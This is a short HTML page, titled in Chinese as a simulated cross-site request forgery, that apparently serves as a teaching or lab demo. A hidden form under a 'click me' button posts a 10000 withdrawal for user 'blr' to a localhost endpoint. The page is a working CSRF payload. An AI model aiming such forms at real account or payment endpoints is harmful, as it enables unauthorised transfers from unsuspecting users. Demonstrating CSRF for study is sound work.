<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>模拟 CSRF 跨站请求伪造</title>
    </head>
    <body>

        <form action="http://localhost:8080/withdraw" method="post">
            <input type="hidden" name="name" value="blr">
            <input type="hidden" name="money" value="10000">
            <input type="submit" value="点我">
        </form>

    </body>
</html>
